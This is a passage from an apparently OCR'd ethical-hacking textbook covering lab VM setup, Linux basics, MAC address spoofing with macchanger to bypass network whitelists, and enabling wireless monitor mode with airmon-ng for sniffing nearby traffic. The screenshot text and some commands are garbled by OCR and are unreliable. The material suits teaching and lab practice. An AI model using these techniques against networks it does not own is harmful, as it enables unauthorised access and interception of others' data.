msfadmin@metasploitable:™§ sudo pouweroff
[sudo] password for msfadmin:

Broadcast meszage from msfadmin@metasploitable
(sdevsttyl) at 3:39 ...

The system is going down for power off NOU?
msfadmin@metasploitable:™§ = Stopping web server apache2
= Stopping Tomcat servlet engine tomcat5.5

Installing Windows

The last machine that we're going to talk about installing is the Windows machine. This is
just a normal Windows machine, with Windows 10. This is going to be another victim, and
we are going to see how we can hack it. Again, we installed Metasploitable because it has a
large number of vulnerabilities, and it's designed to be hacked into. It has a Terminal that is
not very user friendly, and it doesn't really mimic a normal user. The Windows machine, on
the other hand, will be used for scenarios that mimic a normal user, a user just using
Windows to browse the internet or do whatever normal people do on their machines.
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So, Microsoft has actually released free versions, or free virtual machines, that you can
download and use. These are available on Microsoft's website. You can download them
at https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/.

So, we're going to create a new machine, through the following steps:

1. Make sure that you select which host operating system you have. If you have
Windows, you click on the Windows tab, and if you have Mac, then click on the
Mac tab, and so on.

2. From the drop-down boxes, select MSEdge on Win (10), and make sure to select
the VirtualBox image. These are all applications that allow us to install virtual
machines. At the moment, we're using VirtualBox for everything, so just make
sure you use the VirtualBox image. Once you do that, you will have a ZIP file
named MSEdge .Winl0.VirtualBox.zip. Uncompress it, and you will get the
file MSEDGE-Win10TH2 . ova.

3. Double-click on the . ova file, and VirtualBox will ask you to import the
machine—it has already set up the settings for it. You can now import it the way
it is, and modify the settings later and the Windows will be installed.

4. Before booting it, modify the settings, change RAM to 2 GB. We can then start it.
Windows will start straight away—it is ready, given to us by Microsoft.

We have a fully working Windows machine here, Windows 10, and this will be the third
machine that we use in our lab. It will be our second attacking machine—our second victim
or target machine.

Creating and using snapshots

Now that we've created our virtual machines, it would be a good idea to take snapshots of
them. A snapshot allows us to store the state of the current virtual machine, so that we can
go back or forward in time, to a certain state. We can think of snapshots as bookmarks—for
example, we can take snapshots of the fresh installations of the operating systems, and, if
we update, configure, or break something in the future, we can go back to the fresh
installations, or go back to the factory settings. We can also go forward to the updated
system from there. We can take a snapshot whenever we want, and go back and forth
between states.
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The following are the steps for taking snapshots:

1. Click on Kali Linux that we installed; it's very easy to create a snapshot of it. All
you have to do is go to Snapshots and click on the camera icon, which appears

on the icon bar at the top:
Snapshots & I ? - %%8
Machine Tools Global Toolg

@ e & @ @

Take Delete = Restore Properties = Clone

2. It will ask us to name the snapshot, so we will just name it Fresh Install, and
we will give it a description, saying it's a fresh snapshot, with no updates. It's
always a good idea to give a meaningful name and description, so that in the
future, we can actually remember what the snapshot stands for:

T = -
i*® & Yo (@ 2 )| P I o -
Global Tools

Mew Settings Discard Show Machine Tools

[ 30l = (
> @ o . @ \1?
lake Uelete @ Hestore FProperbes | Clone
539" Metasploitable N Taki
f (@) Powered OFf i b

59 Current State

P
¥§ lake Snapshot of Virtual Machine 7 =
D, Snapshot Name
l" Fresh Instal
sSnapshot Lesapbon
Ok ] | Canecl ] I Help
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3. So now that we are done, we can click on OK, and we will have the Current
State. We can update or install programs, and even install libraries, and, if we
break something and/or want to go back to the fresh install, we can click on Fresh
Install to restore it.

Now, we can go back to the normal details and start our virtual machine. We will see an
example now. Let us create a new directory in Kali Linux—we are going to call it test.
Let's suppose that we actually updated the system; when we update the system, there is a
good chance that some programs will not be as up to date as the libraries that will be
installed, and these programs might start having issues. If this happens, it is recommended
to go back to, or downgrade to, an older version, without the update.

All we have to do is go back to the fresh installation. We just created a new file to show that
once you go back, everything will go back to how it was before changes were made.
Turning off Kali, if we go back to the snapshots, we will see the Current State (the state that
has been changed). If we updated and the update was successful, we can also create a
snapshot called Updated System, including the date, and a description, such as updated
with no problems. Clicking on OK, we will then see two snapshots—Fresh Install and
Updated System.

If we have problems after updating, all we have to do is just click on the Fresh Install that
we just created, and then click on the restore icon to restore changes. Now, if we start the
Kali machine, we will see that the new directory that we created disappeared. We're back to
where we were without the new directory, without anything, so we are actually back to the
fresh installation of Kali, to when we actually took the snapshot.

Let's suppose that we have gone back in time to our fresh installation, and for some reason
we want to go to our updated state to see if we can fix the issue (perhaps by finding a
solution online). If we want to go to a future state, we can just click on Updated System,
then Restore, and—without creating a snapshot from the Current State—start the machine.
We'll be back to the updated state, to where we had the new directory created, the test
directory.

As you can see, snapshots can be really useful. They allow us to bookmark the state of the
operating system, so that we can actually have different configurations, switching between
them as we please. Snapshots are also really useful if we have installed Windows, because
Windows actually gives us a trial version, and we can go back to our fresh installation of
Windows if there are problems in the future.
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Summary

In this chapter, we learned how to use VirtualBox, which allows us to install machines such
as Kali Linux, and Windows, inside our own machine. We also learned how to install Kali
Linux, which is going to be our attacking machine throughout the book, and how to install
our victim machines, Windows and Metasploitable. Lastly, we studied what snapshots are,
and how they can help us to retain our past setups in the virtual environment.

In upcoming chapters, we will see how to use the Kali Linux machine to attack both the
Windows machine and the Metasploitable machine.
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In this chapter, we will be covering the basics of Kali Linux. We will see how Kali Linux
looks when installed as a virtual machine, and some of the basic elements of Kali Linux will
be explained in detail. Furthermore, into the chapter, we will learn about the different
commands that we can use in a Linux Terminal. Once we have learned how to use the
commands, we will see how to update sources, and how to install programs on Linux.

In this chapter, we will cover the following topics:

e Overview of Kali Linux
e Linux commands
e Updating sources

Overview of Kali Linux

Now that we have Kali Linux installed, let me provide you with an overview of the system:
what Linux is, the filesystems structure, and some of the basic apps that we are going to
use. We will see an overview of the system now, and later, we will walk through some
commands, which we will see in more detail in later chapters.
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Status bar icons

As you can see, in the following screenshot, there is a status bar at the top, and toward the
end (on the left-hand side of the Applications menu), there is an Applications tab to access
all of the applications that come preinstalled with Kali Linux. These are divided into
categories, in terms of the type of attack that they allow you to carry out. We can see the
following: 01 — Information Gathering, 02 - Vulnerability Analysis, 03 - Web
Applications Analysis, 04 - Databases Assessment, 08 — Exploitation Tools, and 07 -
Reverse Engineering. These are all types of applications that can be used for penetration
testing:

Applications «

metasploit

.ir'“l|.ll'_|l"

?j burpsuite

e
24
E
=
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The Places menu allows you to access your filesystems - the files that you will be using.
This is similar to My Documents in Windows machines. If we click on Computer, we can
access all of the files and devices, but we rarely use this menu; we usually access it through
the Home icon on the vertical bar toward the left. If we go to Places and then to Home, we
can get access to Desktop, Documents, Downloads, Music, and so on, the same way that
you would in Windows or macOS X. We can even see Trash, which is where your trash
goes. This is just a basic file manager, with back and forward, and you can double-click on a
file to run it or double-click on a directory to open it:
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To the right, there is an icon called Workspaces; in here, you can see the number of
desktops, or workspaces. Linux usually supports workspaces, so you can have different
windows on different workspaces; if you don't have other windows open, you can't use the
next workspace. However, for example, if you have a file manager open here, you can go to
the next workspace and it will be empty, and then you can have something else running
there. You can use as many workspaces as you want, and it's easy to switch between them.
We will be using them when we perform our penetration testing attacks.

Now, toward the right of the workspace icon, you can have a keyboard icon, if you have
more than one keyboard and want to switch between them:
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We then have our networks icon, as seen in the following screenshot. With it, we can access
wired and wireless networks. One thing to note is that we will not be able to access our
internal wireless card through a virtual machine. We have set the settings of the computer
to be connected through NAT, which means that it has an internet connection, but the
internet connection is coming through a host machine. So, there is actually a virtual
network set up between this device and the main device. This device only has internet
access because of the internet access provided by the main machine:

#  Wired Connected
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Here, we can also change the volume from the same menu; we can turn off the computer,
lock it, or enter the preferences, too. These are just normal preferences; you should
familiarize yourself with them. They include Backgrounds, Notifications, Displays,
Mouse, and Networks. We then have battery settings, which can be accessed from the
status bar. Applications and Places are the objects we'll be using the most, and you can
access your network settings from them.

Connecting the wireless card

If we have a wireless card connected, we will be able to see the available networks. If we
want to connect a wireless card (I have a USB wireless card), we can do the following:

1. Go to the Devices menu on the menu bar, then go to USB. This procedure is the
same, regardless of the USB device that you connect (wireless, memory stick, and
so on). Go to Devices | USB, then select the device you want to connect.

2. So we connected a wireless card, and the chipset that's used in the card is called
Ralink 802.11 n WLAN [0101]. This is the wireless card, and we are going to click
on it. That should connect it to the Kali machine:

Devices ] Help
g Audic r
@F Metwork 4
& Use * | 5 USB settings...
@ Webcams 4
Ralink 802.11 n WLAN [0101]
&l Shared Folders & PixArt USE Optical Mouse [0100]
[C]  sharcd Clipboard b Primax Electronics, Ltd USE Keyboard [0110]
B Drag and Drop »
& Inscrt Guest Additions CD imagc...

3. Go to the wireless icon on the status bar, go to the Select Network option in Wi-
Fi Not Connected, and then select a network. Then, we can see the networks that
are available around us, and we can select any network that we want to connect
to; just enter the password in, and connect to the network normally, the way you
would connect to any other network:

[371]



Linux Basics Chapter 3

-Fi No

Select Network

Even if we disconnect our wireless card now, we will see that we still have an internet
connection, because our main machine (a macOS X, for example) is connected to a network,
and this virtual machine is connected to the Mac machine via an internal virtual network.
So, the browser that comes with Kali Linux is Firefox ESR, and we can go to Google and
check that we have an internet connection.

[38]
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Linux commands

These are not hacking commands; they're not penetration testing commands. They're just
commands used in Linux that allow us to do different things on the operating system.

This overview of how the Terminal works was just designed to get you more comfortable
with the structures, navigating the directories, and so on.

Now, let's take an overview of the Linux Terminal. The Terminal is a place where you can
do anything you want on the operating system, run any program by executing commands
associated with the program we want. The Linux Terminal is very powerful; it basically
allows us to do a lot more than the graphical interface. A lot of the programs that we're
going to use have graphical interfaces, but the command line is much easier and quicker.
Also, in many scenarios, you will get a Secure Socket Shell (SSH) or Command Prompt on
the target computer, and you will need to know the commands in order to do what you
wish on the computer, or to pen test its security.

Learning how to deal with the Command Prompt is very important. We're going to use it a
lot in the upcoming chapters, but for now, we will provide a very simple overview. It's
much easier than running through the graphical interfaces. Using it is very simple; you
literally type in the command, and the result is displayed on the screen as text.

Commands

The following sections illustrate the basic Linux commands.

The Is command

The 1s command lists all of the files and directories that exist in the current working
directory. So it's similar to the dir command in Windows machines; it just lists all of the
files and directories that exist in the current directory:

1s
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And, as we execute this command, the output for it lists all of the directories, such
as Desktop, Documents, Downloads, and Music:

root@kali: ~ Q@90

File Edit View Search Terminal Help

Let's run 1s with some options. We going to use 1s and then use -1, and that will show us
more information about the files. It's basically the same command that we ran before, but,
as we can see in the following screenshot, we now get more information. We can see the
total entries that exist in the current working directory, and we can see the same directories
that we saw before, but we can also see the dates that they were created or modified. We
can see the user responsible for them, and its root use, and we can also see permissions:

4096 Apr 26

We will learn more about permissions in the next chapters. Permissions specify which users
can do what (read, write, execute). This is just an example of the 1s command.

The man command

One of the most important commands, which is going to become handy to you in the
future, is the man command. It stands for manual. The man command can be used to query
and get the manual of any other command. For example, we just used the 1s command to
list all of the directories that exist in the current working directory:

man ls
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After running this command, it will show us the manual for the 1s command. And, as we
can see, it's showing us that 1s is used to list content, because it lists files and directories.
We can also see that this command actually takes options, so it takes more options than just
the 1s command:

[EILE]...

DESCRIPTION
List information about the FILEs (the current directory by default). Sort entries alphabetically if
none of -cftuvsSUX nor --sort is fied.

Mandatory guments to long options are mandatory for short options too.

-a, --all
do not ignore entries rting with .

-A, --almost-all
do not list implied . and ..

--author
with -1, print the author of each file

-b, --escape
print C-style escapes for nongraphic characters

--block-size
s s by SIZE before printing them; e.g., '--bl¢ ize=M' prints sizes in units of
48,57 ytes; see SIZE format below

-B, --ignore-backups
do not list implied entries ending with -

with : t by, and s , Ctime ] t modification of fil tus information); with
\ ort by ctime, newest firs

Manual page 1ls(1) line 1 (press h for help or g to quit)

In the preceding screenshot, we can see the format of the options in Linux; it's either a -
letter abbreviation, or --, and you type in the full option. So, for example, the —- all
option does not ignore entries starting with a dot. If we type in or press the Enter key, the
manual will just keep going down so you can read more information. These are all of the
options that you can do with the command. We can see, for example, that the -1 uses a
long listing format. To quit this command, we just type in g, so we're out of the manual.
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The help command

Another really useful option is -——help. We will use 1s again, and do a -~—help command.
Now, man and --help work on almost every command, so you can use man 1s, or 1s —-—
help, and it will always show you the help or the manual page of the program. So, after we
execute the preceding command, in the following screenshot, we can see the help page for
using 1s, and it tells us all of the options for the 1s command:

# s --ht?]_p
Usage: 1s [OPTION]... [FILE]...
List
Sort

information about the FILEs (the current directory by default).
entries alphabetically 1if none of -cftuvSUX nor --sort is specified.

Mandatory arguments to long options are mandatory for short options too.
a, --all do not ignore entries starting with
--almost-all do not list implied . and
-author with -1, print the author of each file
-escape print C-style escapes for nongraphic characters
-block-size=SIZE scale sizes by SIZE before printing them; e.g.
‘--block-size=M' prints sizes in units of
1,048,576 bytes; see SIZE format below
-ignore-backups do not list implied entries ending with
with -1t: sort by, and show, ctime (time of last
modification of file status information):;
with -1: show ctime and sort by name;
otherwise: sort by ctime, newest first
list entries by columns
-color [=WHEN] colorize the output; WHEN can be 'always' (default
if omitted), 'auto', or 'never'; more info below
-directory list directories themselves, not their contents
-dired generate output designed for Emacs' dired mode
do not sort, enable -al, disable -1s --color
-classify append indicator (one of */=>@|) to entries
-file-type 11 ise, except do not append '*'
format=WORD across -X, commas -m, horizomtal -x, long -1,
single-column -1, verbose -1, vertical -C
-full-time like -1 --time-style=full-iso
like -1, but do not list owner
-group-directories-first
group directories before files;
can be augmented with a --sort option, but any
use of --sort=none (-U) disables grouping
-NO-group in a long listing, don't print group names
-human-readable with -1 and/or -s, print human readable sizes
(e.g., 1K 234M 2G)
-51 likewise, but use powers of 1000 not 1024
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Again, it's a - or a -—, and we enter the option name as we did before. On top, it shows
information about what the command does, and it gives the format of the command, so it
should be used in this particular format: Usage: 1s. We then enter the options, and then
whether we want to do anything to the file. It's very similar to the man command;
sometimes, programs will not have man, and they'll just have the help command.

If we have any command or any program that we are not sure how to use,
we can always just type in man and the name of the command, or the
name of the command and --help. Another useful exercise when dealing
with the Terminal is that we can press the up and down arrows to go
through the history of the command. So, we can switch between the man
1s,1s —-1,and 1s --help commands through the up and down arrow
keys.

The Tab button

Another useful item is the Tab button on the keyboard. If we are typing a command, or if
we are looking for a file and we are just not sure, we can use Tab button to autocomplete.
For example, let's suppose that we want to type a filename. Let's first create a file; we just
go to Places | Home, because right now, we are going to create a new file. Let's create a
new folder, called test. Let's suppose that we are looking to do something with the test
folder; the cd command can be used to change the working directory to another directory.

Let's suppose that we want to go into the test directory; we can use the command, and
then find ourselves in the test directory:

cd test/

Another useful command is pwd; it shows you the current working directory. Just execute
it, and, as we can see, we're now in the root/test directory:

pwd

Now, if we want to go back, we can just use cd, change the directory, and, instead of typing
a directory name that we want to go to, we can just type cd . ..

These were just basic commands, there are so many commands in Linux. Again, every
program that we install on the system will have a Command Prompt version, and we can
access that program through the Command Prompt. A lot of the programs that we're going
to use will not even have a graphical interface, so we will have to use them through the
Terminal. Again, don't be scared of that; we're going to go over it in the future.
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Updating resources

Now that we know how to interact with the Terminal and Linux basics, we will just look at
some final steps:

e Updating the source list
e Installing terminator
e Installing required updates

Going to the Kali machine, the first thing that I want to show you is
viewing the machine in full screen. Just go to View and then Full-screen,
and that will automatically expand everything and put it in proper full
screen.

Let's look at the package manager in Kali Linux. We can install programs using a command
called apt -get. We usually type in apt —get, and then, if we want to install something, we
type apt—get install, followed by the package name (the program name). Before we do
any of that, we have to update the sources; the way this program works is through fetching
a number of libraries. On a fresh installation, we want to update our sources, so we make
sure that it has the latest sources for the libraries, and the latest available programs. We're
just going to use apt -~get update. This command will not update the system; it will only
update the list of available programs that can be installed:

:~# apt-get update
Hit:1 http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease

Reading package lists... Done

Now, everything has been updated, so we can go ahead and start installing programs. We
are going to look at an example of installing a useful Terminal application called
terminator. The command is as follows:

apt—-get install terminator

[44]



Linux Basics Chapter 3

Press Enter; now, it will ask us if we really want to install this. We will say yes, by typing y
and hitting Enter, and this will automatically download the application and install it for us:

install terminator
. Done

ckages will be installed:
r-3.0 libkeybinder-3.@8-8 python-gi-cairo python-psutil terminator
will be upgraded:

alled, ® to remove and 733 not upgraded.

on,
) continu y
.nctu. E cali-rolll in i 64 Libkey er-3.0-08 amdé 5 - [7.964 B]
.nctu. edu i oll in gi 1 dfs 1 [3,536 B]
-nctu. - cali-rolling dé4 python-gi

python-gi-cairo amdé - 2
python-psutil amd64 5.4 1 [159 kB]
terminator all 1.91- 3 kB]

unp ing ]
Selecting prev girl.2- der-3.0.
P i . /binder-3. .3.2-1_amd64.deb ...

e python-gi ).
0 3.28.2-1 amd64.deb ...

package python-psutil.
Preparing to unpack .../4-python-psutil 5.4.2-1 amd64.deb

Now, we can go ahead and try to use terminator. To do so, we will go to the
Applications on the menu bar toward the left and search terminator. We will right-click
to add it to My Favorites, so it shows up in the dock. We are going to open it, it's just
another Terminal application. We can increase the size of the text here, and actually run
programs through the Terminal, using any of the commands we illustrated previously. The
advantage of the Terminator is that we can split the screen and run multiple commands. If
we right-click on the screen, we can split it horizontally, and we can have three different
windows that can run three different commands or programs at the same time. So, this can
be really handy; it can make your life much easier in the future.
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One more command involves upgrading our system. In many cases, when we upgrade our
system, we face issues such as broken libraries; some of our programs might not work
when the libraries they depend on have updated, but the program itself has not. If we face
issues, we can restore a previous snapshot; but generally, we just don't upgrade. If there's a
new version of Kali, we just import that as another virtual machine, instead of upgrading
the existing Kali version.

Now, if you want to upgrade your system, all you have to do is type in apt-get upgrade.
If you press Enter, it will tell you that a large number of libraries and packages will be
upgraded. If you hit Enter again, it will start downloading, installing, and configuring these
packages as seen in the following screenshot:

cpp-7
e foremost
-dala

libappaz
acel libbr

It might ask you to configure a few things, so don't be too adventurous and try to change
things—keep them the way they are. Again, most of the time, we keep everything the same.

Summary

In this chapter, we learned what Kali Linux is, and the advantages of using it when it is
installed on our virtual machine. After that, we looked through the GUI of Kali Linux,
including various icons it has. We then used a few Linux commands that we are going to
use in future chapters. Finally, we learned how we can update the resources of our system.

The upcoming chapters will focus on network penetration testing. Initially, we will learn all
of the fundamentals; later, we will learn the attacks that we can perform on networks.
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In this chapter, we will cover all of the concepts that will be needed to get started with
network penetration testing. We will start off with what a network is, and see two types of
networks: wired and wireless. Later, we will see how to connect a wireless adapter to a
virtual machine. After that, we will look at what a MAC address is also, steps to change a
MAC address. Finally, we will see methods for activating the monitor mode.

The following topics will be covered in this chapter:

What is a network?
Network basics

Connecting to a wireless adapter
MAC addresses
Wireless modes — managed and monitor

Enabling monitor mode manually

Enabling monitor mode using airmon-ng

What is a network?

The first penetration testing section that we are going to cover is network penetration
testing. Most of the systems and computers that we are going to try to gain access to will be
connected to a network, whether it's a device, a computer, a phone, or simply any device
connected to the internet. Therefore, you need to learn how devices interact with each other
in a network, as well as how networks work, before you can advance into different types of
penetration testing.
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Network penetration testing can be divided into four main sections:

1. Pre-connection
2. Gaining access
3. Post-connection
4. Detection and security

Both the first section (pre-connection) and the second section (gaining access) are geared
toward wireless networks. Usually, with a wireless network, there is protection
(encryption), and we need to use a key to connect to the network. There are WEP, WPA,
and WPA2 encryptions, and we are going to learn how to break them. We will also learn
the kinds of attacks we can do without being connected to a network, and what we can do
using a wireless card.

The reason we don't mention wired connections in the first two sections is because, in order
to gain access to a wired network, all you need is an Ethernet cable. Some wired networks
use security and some use MAC filtering, and we're going to discuss that later—changing
the MAC address is very easy.

Section 3 is where the fun starts—we will learn how to sniff packets from the network, how
to control connections, how to sniff passwords, usernames, and cookies, how to inject them
into your browser, and how to launch attacks that will allow us to gain full access to any
device on a network, bet it wired or wireless. Section 3 will apply to both wired and
wireless, which will work exactly the same, with no need for a change in configuration. In
the last section, we will discuss how to secure yourself against attacks, and how to detect
them.

Network basics

Before we start trying to hack into networks, there are a few basics that we need to learn.

What is a network? A network is a number of devices connected together so that they can
share data. This data can be files, resources (such as on a home network), or just a way to

connect to the internet.

All networks, Wi-Fi or wired, achieve this sharing of data by using the same principle—a
device that acts as a server, which all of the devices communicate with. The server has
access to the resources, and all of the other devices on the network can access the data from
the server. On most Wi-Fi networks, the server is the router, and all devices connect to the
router and access the internet through it. The only device on the network that is directly
connected to the internet is the Wi-Fi router.
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In the following diagram, clients 1, 2, and 3 have no access to the internet, but they can
access it through the router:

@ — /Fi ax\i
Internet Wi-Fi router

“Client 3

Client 2

For example, whenever Client 3 wants to open Google, it sends a request to the router. The
router goes to the internet, grabs http://www.google.com, and forwards it back to Client 3.
Client 3 does not have direct access to the internet—it has to go through the router, and the
router grabs the request and sends the response back to the client. All of this data—requests
and responses—is transferred through packets, so there are a number of packets being sent
between clients and the router. In a Wi-Fi network, these packets are sent through the air,
so they are broadcasted. If we are in the range of these packets, we can just sniff them,
capture them, and read them, being able to see all of the information inside. All of this
data—whether it's usernames, passwords, videos, audio, music, charts, and so on—is
transferred as packets, and it's always transferred between the router and the client. So, if
we capture the packets, we can read all of the information on our device.

Connecting to a wireless adapter

In this part of the chapter, we will see how to connect a USB device to a virtual machine. As
an example, we are going to connect a wireless adapter to a Kali machine, but the same
method can be used to connect any USB device. We will need a wireless adapter for the
cracking section of the network penetration test, because in later chapters, we will learn
how to crack passwords for Wi-Fi networks. Other than that, we can do everything else
without a wireless adapter.
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A wireless adapter is a USB device that connects to the computer through the USB and
allows us to communicate with wireless networks. Most computers and laptops now come
with built-in wireless cards. The only problem is, first of all, that we can't access built-in
wireless cards from a virtual machine. Also, even if you install Kali as a main machine, the
built-in wireless cards are not good for hacking, because we need a powerful adapter that
supports monitor mode and packet injection (we will go into what these mean). Basically,
the built-in wireless adapter does not support these modes, and can't be used for hacking.

Powerful wireless adapters are recommended. For more information,
check out https://www.youtube.com/watch?v=01gRZ3MWPXY.

Now, we will connect adapters to Kali by using the following steps:

1. We have to open VirtualBox (if it's open, it can be seen on the left-hand side of
the screen) and click on the machine that we want to connect the adapter to.

2. Then, we go to Settings | USB, and make sure that Enable USB Controller is
checked; if not, just click on Enable USB Controller:

Mew |Settings| Discard Start
=™ Metasploitable (@A | &
f @Pﬂﬂeredoﬁ @ b — @ Q
| Take Delete  Restore  Properties | Clone
i Ll B | () Kali-Linux - Settings 7 |[=
=Ll | MsEdge - Win1o General usB
'.i’o () Powered OFF
System Enable USE Controller
@ USE 1.1 {OHCI) Controll
Display ; (OHCT) Controller
) USE 2.0 (EHCI) Controller
Storage *) USE 3.0 (xHCT) Conkraller
@ Ridia USE Device Filkers — =
@ MNetwork ﬁ
£ Serial Ports ;
| ‘é) uss
ﬁ Shared Folders 5
E User Interface
Coc )
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3. Now, we have to pick the USB hardware type that is used by our adapter—either
USB 1.0, 2.0, or 3.0. Then, we go to the plus (+) sign, and click on it:

3 MSEdge - Winll - Settings |
g General use
m System [¥] Enable Usk Controller
m] Displ ) USB 1.1 {OHCT) Controller
R ©) U350 2.0 (21T Controlles
B sorge ) USB 3.0 (xHCT) Cuntroller
& il IS0 Device Filters
Je:,
LJ-? Metwurk
1P Serial Parts
ﬁ’ use
|j Shared Folders
E UserInterface
Ce= ]

4. We will see that we have a number of devices that can be attached to the Kali
machine. We connect to the adapter, first of all, just to have a look at the available
devices. The name that we see is the name of the chipset that was used inside the
adapter, not the brand name of the adapter itself. When we click on it, we see a
new entry called ATHEROS—this is actually my wireless adapter, an Alpha
AWS 036NHA. We click on it; then we click on OK, and the adapter is added to

Kali:
£3 Kali-Linus - Seltings [ 7 Jmesa)
General uso
H sotem [¥] Enable U5 Controller
. ") USB 1.1 {OHCT) Controller
=D Display
= @) USE 2.0 (EHCI) Controller
Storage *) USE 3.0 {:HCI) Controller
& Audin Ust Dewice Filers
@38
&P Network &
14 ATHEROS UID91 [0100]
@ Senal Parts i
{ ATHEROS UBI1 [0108]
é) LI5H Qualcomm Atheros Communications UBY1 [0108]
Ij Shared Folders Prefirt 115K Ophical Mouse [IT00]
Primax Electronics, Ltd U3SE Keyboard [0110)
E User Interface
oK Cancel
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Before we can start Kali, we have to install extensions to allow VirtualBox to use the USB
device. They can be downloaded at https://www.virtualbox.org/wiki/Downloads, and
you can see that there is a link for the VirtualBox Extension Pack. This will only work for
VirtualBox 5.1.22 and up.

If you have a different version of VirtualBox, to get your version, you can
just go to VirtualBox | About VirtualBox; if you're on Windows, you'll
have to go to File | About VirtualBox. You'll see the version there. If
you don't find the latest version on the link, you have to go down to the
VirtualBox older builds, to 5.0, and look for 5.0.20, to download its
Extension Pack. Download the one that is compatible with your version.

Once it's downloaded, it will be available in your default download location. You just have
to double-click on it to install it. If you have already installed it, it will show a popup for
reinstalling; otherwise, it will show an Install button. If you are reinstalling, you'll need to
scroll down and Agree, including your password. After that, the Extension Pack will be
installed.

Before starting the virtual machine, we are going to physically disconnect the wireless
adapter, and then connect the adapter once Kali fully loads. Boot up the Kali virtual
machine, put in the username, which is root, and the password, which is toor. Now, Kali
is fully loaded, and we can physically connect the wireless adapter. This is done to avoid
conflicts. Once the adapter is connected and virtual machine is up, we will confirm that the
adapter is connected by opening Terminal and typing i fconfig. This command lists all of
the interfaces that are connected to the machine, and, as we can see in the following
screenshot, it should list an adapter called wlan0, which is the wireless adapter:

frame @

carrier @ collisions @

(ELhernel)

frame @

carrier ® collisions @
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If you go to the top-right corner of the screen and click on power icon, you'll see a Wi-Fi
Not Connected option, which can be used to connect to Wi-Fi networks:

#  Wired Connected

Wi-Fi Not Connected

& Proxy None

1 root

We don't need to connect to any Wi-Fi connection, because we have set up a NAT network,
and Kali already has internet access through that NAT network. We only need the wireless
adapter to hack into other networks and crack their passwords.

MAC addresses

In this section, we will study MAC addresses. Each network card, whether it's a Wi-Fi card
or a wired card, has a physical, static address, assigned by the card manufacturer. This is
the Media Access Control (MAC) address. The MAC address is written on the card, and
it's physical, so it never changes. It is used between devices, for identification and to
transfer packets in the right direction. This works because each packet has a source MAC
and a destination MAC, and travels from the source to the destination.

Because the MAC address is static and never changes, it can be used to trace back and
identify a device. Also, since devices use MAC addresses to identify each other, we can
have some networks that only allow certain MAC addresses to connect to them (by using a
whitelist), or that blacklist MAC addresses so that they cannot connect to the network.
Changing your MAC address can help you to either connect to a network by being on a
whitelist, or to bypass a blacklist. The only way to change the MAC address is to change it
in the RAM—so it will only be changed for the current session, and once you restart, you
will have to change it again.
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Now, let's change the MAC address; the procedure is as follows:

1. We're going to use a tool called macchanger. First of all, to get the Wi-Fi card
name, just type in iwconfig, and it will show all of the wireless cards. In the
following screenshot, eth0 has no wireless extensions, and the same applies
to 1o; we can see that wlanO is the wireless card:

:~# iwconfig

Tn-off/any

no wirel ensions.

no wirel xtensions.

2. We are going to disable the wireless card, using the i fconfig wlan0 down
command.

3. Now, we're going to change the MAC address, using a tool called macchanger.
With these tools, it's always a good idea to look at the help section; just go onto
the Terminal and type macchanger —--help, and we'll see all of the options that
we can use with the tools. You can use -—-help and —--version to show the help
and version, —-show to show our current MAC address, and —e so that it doesn't
change the vendor bytes (the manufacturer of the MAC address). Another
method is to try a random vendor MAC of the same kind (-2 is just to set a
random vendor here). The -p option will reset the original permanent MAC
address, so if we changed our MAC address and we want to use the old one
again, we can use —p. The —r option will just give us a random MAC address,
and -1 will just print the known vendors that we can use. The —m option will
help us to pick our own MAC address:

:~# macchanger --help
\C Chang
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In case there is a whitelist, we will learn how we can see all connected devices; for
example, for your target network, three devices are connected, and the target
network only allows three devices to connect. We can just take one of the
whitelisted MAC addresses, change it, and use it.

4. To change the MAC address, first we have to disable the w1an0 wireless card by
using the ifconfig wlan0 down command. We can use the -—random option
to set up a random MAC address using macchanger. The command is
simply macchanger --random wlan0. We can use m to specify our own MAC
address, if we want. After hitting Enter, we can see that the original MAC
address is being changed to 5a:c4:0c:9a:ac:79:

:~# ifconfig wlan® down
:~# macchan om wlan@

Current MAC: 6:ca:8f:88:67:25 (unknown)
P anent MAC: 2 SR E BT 7 (L n Technology Corporation)
New MAC: :9a:ac:79 (unknown)

Now, our wireless card is ready, and we've changed its MAC address.

5. Now we need to enable the wireless card again, because we disabled it. So, we'll
do the opposite; we're going to use ifconfig wlan0O up. That'sit; the card is
enabled, and its MAC address has been changed. Let's take a look at it in the
following screenshot; if we type in ifconfig wlan0, we can now see the new
MAC address:

¢ ifconfig wlan@ up
¢ 1fconfig wlane
wlan®: flags=4099<UP,BROADCAST,MULTICAST= mtu 1500
e :0c:9a:ac:79 txqueuelen 1000 (Ethernet)

bytes @ (0.0 B)
© dropped @ overruns @ frame ©
bytes © (0.0 B)
0 dropped @ overruns © carrier ® collisions @
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Wireless modes — managed and monitor

Now we know that the MAC address is used to make sure that the packet goes in the right
direction, so each packet has a source MAC and a destination MAC, and it flows from the
device that has the source MAC to the device that has the destination MAC. This is how
wireless cards work in the default mode. So, if we go into the Kali machine and

use iwconfig, in the following screenshot, you can see that we have a wireless card,
named wlan0, and that the default mode is called managed mode:

wlano 1 ESSID:off/any
Point: Not-Associated Tx wer=20 dBm
RIS thr:off Fragment th f

ent:off

no wireless extensions.

no wireless extensions.

So, basically, in this mode, our wireless device will only receive packets, or will only try to
capture packets that have our device's MAC address as the destination MAC. It will only
capture packets that are actually directed to our computer.

What we want to do, however, is enable it to capture any packet that's around us—any
packet that is within our range. To do that, we're going to use a mode called monitor mode.
It tells the wireless card to capture everything around it, even if the destination MAC is not
our MAC. Basically, we'll then be able to capture all of the packets within our range, even if
they aren't directed to our device.

There is more than one method to enable monitor mode; we're going to discuss three
methods in this chapter, starting with the most basic method, in this section. Sometimes,
monitor mode will be enabled, but when it comes to actually running an attack, the attack
will not work. We may then need to try a different method of enabling monitor mode.

We're going to talk about the first method now, using airmon-ng to do it. First, we type
in airmon-ng, and, as we can see in the following screenshot, it lists the wireless cards
available:

:~# airmon-ng

PHY Interface Driver Chipset

phy®@ wlane ath9k_htc Atheros Communications, Inc. AR9271 802.11n
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We have a wireless card called wlan0, so we're going to start monitor mode on this
interface, and the command is going to be airmon-ng start wlan0.It's very simple;
airmon-ng is the name of the program, start initializes monitor mode, and wlano0 is the
wireless card name, so it's the interface. We now have monitor mode enabled on mon0, so in
the upcoming chapters, whenever we want to use monitor mode, we will specify mon0 as
the interface:

:~# airmon-ng start wlan®

Found 3 proc that could cause trouble.
If airodump ireplay-ng or airtun-ng stops 0 er
a short period of tim you may want to run rmon-ng check kill®

PID Name
495 Ne Manager
nt
supplicant
Interface Dr r Chipset
